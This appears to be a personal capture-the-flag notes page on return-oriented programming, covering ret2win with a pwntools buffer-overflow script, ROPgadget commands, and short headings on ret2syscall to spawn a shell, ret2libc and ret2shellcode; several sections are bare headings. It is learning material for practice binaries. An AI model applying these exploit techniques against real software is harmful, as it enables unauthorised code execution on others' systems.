ROP
Ret2Win
Really bad summary
Get offset to override EIP
Can be easily done with
pwn.cyclic
Get address of
winfunctionDepends whether ASLR is enabled, or else
symbolsfrompwntoolscan do the trick
Get a gadget via ROPgadget (usually ret)
ROPgadget --binary x | grep ret
Construct payload
X amount of 'A's to override EIP
addr_of_gadget (ret)
addr_of_win
send and win
Sample Code
from pwn import *
offset = 32
binary = ELF("./EEEEEEEEEELMAOOOOOOOOOOOOO")
p = binary.process()
win_addr = binary.symbols['win']
ret_addr = 0x000000000040101a
payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(win_addr)
p.sendline(payload)
output = p.recvall()
print(output)ROP chain with arguments
Visual Representation of the stack
Ret2SysCall
based on this article
Syscall Strings
x86 (int 0x80)
x86_64 (syscall)
Example : Calling execve with the use of syscalls to obtain a shell
For x64
Get ROP gadgets and their addresses
E.g
ROPgadget --binary aasdasd | grep "pop rax; ret"
Crafting the exploit
Alternatively, if /bin/sh is not on the binary, we can use other functions such as read() and gets() to write to .bss
Ret2Libc
Ret2ShellCode
Length of shellcode must be below the offset to override EIP/RIP (40 in this case)
NOP/padding slide is used to ensure that the the execution is smooth

Last updated